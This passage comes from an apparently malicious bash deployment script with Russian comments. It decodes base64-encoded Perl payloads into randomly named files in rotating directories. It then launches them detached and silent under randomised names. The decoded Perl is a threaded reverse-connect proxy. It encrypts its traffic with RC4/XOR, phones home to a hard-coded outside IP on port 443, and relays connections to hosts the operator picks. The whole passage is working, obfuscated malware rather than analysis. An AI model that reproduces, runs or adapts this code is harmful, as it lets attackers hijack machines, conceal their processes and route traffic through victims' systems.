CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #3 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #3 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 4 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ 